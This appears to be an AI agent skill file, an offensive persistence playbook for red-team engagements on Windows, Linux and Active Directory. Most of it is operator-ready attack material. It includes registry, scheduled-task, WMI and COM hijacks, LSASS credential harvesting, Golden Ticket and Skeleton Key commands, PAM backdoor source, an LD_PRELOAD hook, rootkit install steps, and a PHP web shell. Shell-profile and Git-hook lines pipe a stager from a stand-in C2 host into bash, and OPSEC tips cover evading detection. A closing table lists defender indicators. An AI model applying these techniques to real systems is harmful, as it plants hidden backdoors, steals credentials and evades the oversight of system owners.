name: offensive-persistence description: "Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques include cron and at jobs, systemd timers and services, SSH authorized_keys injection, shell profile backdoors (.bashrc/.bash_profile), PAM module backdoors, LD_PRELOAD hijacking, kernel module rootkits, web shells, and Git hook abuse. Provides operator-ready command sequences for SharPersist, Impacket ticketer, schtasks, sc.exe, crontab, and systemctl with OPSEC considerations for each method. Maps to MITRE ATT&CK T1547 (Boot or Logon Autostart), T1053 (Scheduled Task/Job), T1546 (Event Triggered Execution), T1556 (Modify Authentication Process), and sub-techniques. Includes detection indicators and a rapid engagement cheatsheet."
Offensive Persistence
Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.
This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.
Quick Workflow
- Assess your current privilege level (user-level vs admin/root vs domain admin).
- Identify the target OS version and security controls in place.
- Select a persistence mechanism matching your access level and stealth needs.
- Validate the persistence survives a reboot or logoff event.
- Document the exact mechanism and location for cleanup during engagement close.
- Layer multiple persistence methods at different privilege levels when scope allows.
- Prefer reversible methods that you can fully remove during remediation.
Windows: Registry Autostart
Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.
# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f
Using SharPersist for operational convenience:
# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add
# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list
# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove
Additional autostart locations you should know:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.
Windows: Scheduled Tasks
Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.
# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f
# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f
SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon
Using PowerShell for more control:
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
OPSEC note: Nest task names under existing Microsoft directories (e.g.,
Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.
Windows: WMI Event Subscriptions
WMI event subscriptions are a powerful fileless persistence mechanism. They consist of three components: an event filter (trigger), an event consumer (action), and a binding that links them.
# Create a WMI event subscription that fires on system startup
# Event Filter -- fires 60 seconds after boot
$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{
Name = "CoreTelemetryFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120"
}
# Event Consumer -- execute payload
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{
Name = "CoreTelemetryConsumer"
CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1"
}
# Binding
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{
Filter = $filter
Consumer = $consumer
}
Cleanup -- remove all three components during engagement close:
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject
OPSEC note: WMI subscriptions are stored in the CIM repository
(C:\Windows\System32\wbem\Repository\). Sysmon event 19/20/21 captures
WMI filter, consumer, and binding creation. This is one of the stealthier
native persistence methods but increasingly monitored.
Windows: DLL Hijacking and COM Hijacking
DLL Search Order Hijacking
When an application loads a DLL without specifying a full path, Windows searches directories in a defined order. You place a malicious DLL in a directory searched before the legitimate one.
Find hijackable DLLs with Process Monitor: filter on Result = NAME NOT FOUND
and Path ends with .dll. Applications loading DLLs without full paths search
the application directory before System32, so you place your DLL alongside the
binary.
// Minimal proxy DLL template (forwards calls to legit DLL)
// Compile: cl /LD /Fe:target.dll hijack.c
#include <windows.h>
#pragma comment(linker, "/export:OriginalFunc=legit.OriginalFunc")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Execute payload in a new thread
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunc, NULL, 0, NULL);
}
return TRUE;
}
COM Hijacking
COM objects are resolved via registry. You insert your DLL into the lookup chain by writing to HKCU, which takes precedence over HKLM entries.
# Find COM objects scheduled to load (hijack candidates)
# Look for InprocServer32 keys under HKLM that do not exist under HKCU
# Hijack a COM object used by explorer.exe
# CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E} -- MMDeviceEnumerator
New-Item -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Value "C:\Users\Public\payload.dll" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force
OPSEC note: COM hijacking under HKCU requires no admin rights. The payload loads whenever the COM object is instantiated. Sysmon event 7 (ImageLoad) detects suspicious DLL loads.
Windows: Service and SSP Persistence
Service Creation
# Create a persistent service
sc create "WinDefHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto obj= LocalSystem
sc description "WinDefHealthSvc" "Windows Defender Health Service Monitor"
sc start "WinDefHealthSvc"
# Modify an existing service (riskier, breaks legitimate service)
sc config "wuauserv" binpath= "cmd /c C:\Windows\Temp\svc.exe & C:\Windows\System32\svchost.exe -k netsvcs -p"
Security Support Provider (SSP) DLL
An SSP DLL is loaded by LSASS at boot and receives plaintext credentials for every interactive logon. This is a powerful credential harvesting persistence mechanism.
# Copy SSP DLL to System32
copy mimilib.dll C:\Windows\System32\
# Register the SSP (persists across reboots)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
# In-memory SSP injection (does not survive reboot without registry key)
# Using mimikatz:
misc::memssp
# Credentials logged to C:\Windows\System32\mimilsa.log
OPSEC note: SSP persistence requires admin privileges and modifies LSASS. Credential Guard blocks this entirely. Event 4622 (security package loaded) fires when a new SSP is registered.
Windows: Active Directory Persistence
These techniques provide domain-level persistence that survives individual host remediation. They require domain admin or equivalent privileges.
Golden Ticket
# Extract the KRBTGT hash
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:[email protected]
# Forge a Golden Ticket (valid for any service in the domain)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_HASH> /ptt
Silver Ticket
# Forge a Silver Ticket for a specific service (e.g., CIFS on a file server)
impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator
# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:fileserver.corp.local /service:cifs /rc4:<SVC_HASH> /ptt
Skeleton Key
# Inject skeleton key into DC LSASS (all accounts accept "mimikatz" as password)
# Requires admin on DC, does NOT survive reboot
misc::skeleton
# Authenticate with skeleton key
net use \\dc01\c$ /user:corp\anyuser mimikatz
AdminSDHolder Abuse
# Grant a user full control over AdminSDHolder
# SDProp propagates this ACL to all protected groups every 60 minutes
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights All -Verbose
# The backdooruser will gain full control over Domain Admins, Enterprise Admins, etc.
DCShadow and SID History Injection
# DCShadow: register rogue DC and push replication changes (requires DA)
# Terminal 1: lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500
# Terminal 2: lsadump::dcshadow /push
# SID History: add DA SID to a regular user (requires DC access)
sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXXX-512
OPSEC note: Golden tickets have a default 10-year validity. Defenders detect them by looking for TGTs with lifetimes exceeding the domain policy maximum. DCShadow is extremely stealthy but requires domain admin. Skeleton key is lost on reboot and modifies LSASS on the DC itself.
Linux: Cron, At, and Systemd Persistence
Cron Jobs
# User-level cron (no root required)
crontab -e
# Add: */15 * * * * /home/user/.config/update.sh
# System-level cron (requires root)
echo '*/15 * * * * root /opt/.cache/beacon.sh' >> /etc/crontab
# Drop a cron file in cron.d
echo '*/15 * * * * root /opt/.cache/beacon.sh' > /etc/cron.d/logrotate-helper
# Cron directories for specific timing
cp payload.sh /etc/cron.hourly/health-check
chmod +x /etc/cron.hourly/health-check
At Jobs
# Schedule a one-time execution (self-rescheduling for recurrence)
echo "/opt/.cache/beacon.sh" | at now + 1 hour
# In beacon.sh, add: echo "/opt/.cache/beacon.sh" | at now + 30 minutes
Systemd Timers and Services
# Create a systemd service
cat << 'EOF' > /etc/systemd/system/system-health.service
[Unit]
Description=System Health Monitor
[Service]
Type=simple
ExecStart=/opt/.cache/beacon.sh
Restart=on-failure
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# Create a timer for periodic execution
cat << 'EOF' > /etc/systemd/system/system-health.timer
[Unit]
Description=System Health Check Timer
[Timer]
OnBootSec=120
OnUnitActiveSec=900
Unit=system-health.service
[Install]
WantedBy=timers.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable system-health.timer
systemctl start system-health.timer
For user-level systemd (no root), place unit files in ~/.config/systemd/user/
and use systemctl --user enable/start.
Linux: Shell, SSH, and Authentication Persistence
SSH Authorized Keys
# Inject your public key (user-level, no root required)
echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Hide in a custom location via sshd_config (requires root)
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config
mkdir -p /etc/ssh/legacy_keys/root/
echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys
systemctl restart sshd
Shell Profile Backdoors
# Backdoor .bashrc (every interactive shell) or .bash_profile (login shell)
echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc
echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
# /etc/profile affects all users (requires root)
echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile
PAM Backdoor
// Malicious PAM module that accepts a backdoor password
// Compile: gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
#include <security/pam_modules.h>
#include <string.h>
#define BACKDOOR_PASS "s3cure_backd00r"
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
if (password && strcmp(password, BACKDOOR_PASS) == 0) {
return PAM_SUCCESS;
}
return PAM_AUTH_ERR; // Fall through to next module
}
# Install the PAM backdoor
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
# Add to PAM configuration (before pam_unix.so)
sed -i '1a auth sufficient pam_backdoor.so' /etc/pam.d/common-auth
OPSEC note: PAM backdoors are powerful but modifying /etc/pam.d/ can lock out all users if misconfigured. Test thoroughly. File integrity monitoring (AIDE, OSSEC) detects PAM module changes.
Linux: LD_PRELOAD, Kernel Modules, and Web Shells
LD_PRELOAD Hijacking
// Shared library that hooks libc functions and executes a payload
// Compile: gcc -shared -fPIC -o libsec.so preload.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
__attribute__((constructor))
void init(void) {
// Run once per process load
if (access("/tmp/.beacon_lock", F_OK) != 0) {
system("touch /tmp/.beacon_lock && /opt/.cache/beacon.sh &");
}
}
# System-wide LD_PRELOAD (affects all dynamically linked binaries)
echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload
# Or per-user via .bashrc
echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc
Kernel Module Rootkit
A loadable kernel module (LKM) rootkit hooks VFS readdir to hide files,
processes, and network connections. It removes itself from the module list
(list_del_init(&__this_module.list)) to evade lsmod detection.
# Load the kernel module
insmod rootkit.ko
# Persist across reboots
cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/misc/
depmod -a
echo "rootkit" >> /etc/modules
Web Shells
<?php
// Minimal PHP web shell -- blend into an existing web application
// Place in a file resembling legitimate app code
if(isset($_REQUEST['debug_token']) && $_REQUEST['debug_token'] === 'auth_key_here') {
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
# Hide web shell in an existing web application directory
cp shell.php /var/www/html/wp-includes/class-wp-locale-debug.php
# JSP web shell for Java applications
# Place in the webapps directory of Tomcat/JBoss
Git Hooks
# Backdoor a Git hook in a repository developers use
cat << 'EOF' > /path/to/repo/.git/hooks/post-merge
#!/bin/bash
nohup /opt/.cache/beacon.sh &>/dev/null &
EOF
chmod +x /path/to/repo/.git/hooks/post-merge
# pre-commit hook executes on every commit
cat << 'EOF' > /path/to/repo/.git/hooks/pre-commit
#!/bin/bash
(curl -s https://c2.example.com/stager | bash &) 2>/dev/null
exit 0
EOF
chmod +x /path/to/repo/.git/hooks/pre-commit
Detection / Defender View
| Technique | Primary Detection | Key Indicators |
|---|---|---|
| Registry Run keys | Sysmon 13 (RegistryValueSet) | New values in Run/RunOnce paths |
| Scheduled tasks | Event 4698 (task created) | Tasks in non-standard paths, SYSTEM context |
| WMI subscriptions | Sysmon 19/20/21 | New permanent event consumers |
| DLL hijacking | Sysmon 7 (ImageLoad) | DLLs loaded from unusual directories |
| COM hijacking | Registry monitoring | HKCU InprocServer32 overrides |
| Service creation | Event 7045, 4697 | New services with suspicious binpaths |
| SSP DLL | Event 4622 | New security packages in LSA config |
| Golden/Silver tickets | Event 4768/4769 | TGTs with abnormal lifetime or encryption |
| DCShadow | Replication metadata changes | Rogue DC registration (SPNs) |
| Cron/systemd | File integrity monitoring | New cron entries, new unit files |
| SSH keys | authorized_keys monitoring | New keys, modified AuthorizedKeysFile |
| PAM modules | File integrity monitoring | Modified pam.d configs, new .so files |
| LD_PRELOAD | Check /etc/ld.so.preload | Unexpected entries in preload or env |
| Kernel modules | lsmod, kmod monitoring | Unknown modules, modified /etc/modules |
| Web shells | WAF, file integrity, YARA | Small PHP/JSP files with exec functions |
Key defender controls:
- AppLocker/WDAC restricts which executables and DLLs can run.
- Credential Guard blocks SSP DLL injection and LSASS credential harvesting.
- Protected Users group prevents NTLM and caching for sensitive accounts.
- AIDE/OSSEC detects file integrity changes on Linux systems.
- auditd rules capture file creation in cron directories and module loading.
- Autoruns (Sysinternals) enumerates all autostart locations on Windows.
Engagement Cheatsheet
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------- -------------------------- ----------------------------------------
User-level Windows, quick Registry Run key reg add HKCU\...\Run
User-level Windows, reliable Scheduled task (user) schtasks /create /sc onlogon
Admin Windows, stealthy WMI event subscription Set-WmiInstance __EventFilter
Admin Windows, service Service creation sc create ... start= auto
Admin Windows, cred harvest SSP DLL mimilib.dll + LSA registry
Domain admin, long-term Golden Ticket impacket-ticketer / kerberos::golden
Domain admin, targeted service Silver Ticket impacket-ticketer -spn
Domain admin, ACL abuse AdminSDHolder Add-DomainObjectAcl
User-level Linux, quick Cron job crontab -e
User-level Linux, SSH authorized_keys echo key >> authorized_keys
Root Linux, reliable Systemd service + timer systemctl enable
Root Linux, stealthy LD_PRELOAD /etc/ld.so.preload
Root Linux, deep Kernel module insmod + /etc/modules
Web server access Web shell PHP/JSP in webroot
Developer environment Git hooks .git/hooks/post-merge
MITRE ATT&CK references:
- T1547 -- Boot or Logon Autostart Execution (.001 Registry Run Keys, .004 Winlogon, .005 SSP)
- T1053 -- Scheduled Task/Job (.002 At, .003 Cron, .005 Scheduled Task)
- T1546 -- Event Triggered Execution (.003 WMI, .015 COM Hijack)
- T1556 -- Modify Authentication Process (.003 Pluggable Auth Modules)
- T1543 -- Create or Modify System Process (.003 Windows Service)
- T1574 -- Hijack Execution Flow (.001 DLL Search Order, .012 COM Hijacking)
- T1558 -- Steal or Forge Kerberos Tickets (.001 Golden Ticket, .002 Silver Ticket)
- T1098 -- Account Manipulation (.003 Additional Cloud Roles)
- T1505 -- Server Software Component (.003 Web Shell)
Key References
- SharPersist: https://github.com/mandiant/SharPersist
- Mimikatz wiki: https://github.com/gentilkiwi/mimikatz/wiki
- Impacket: https://github.com/fortra/impacket
- PayloadsAllTheThings -- Persistence: https://github.com/swisskyrepo/PayloadsAllTheThings
- The Hacker Recipes -- AD Persistence: https://www.thehacker.recipes/ad/persistence
- MITRE ATT&CK Persistence: https://attack.mitre.org/tactics/TA0003/
- Linux Persistence Techniques (Pepe Berba): https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-systemd-timers-cron/
- Autoruns (Sysinternals): https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns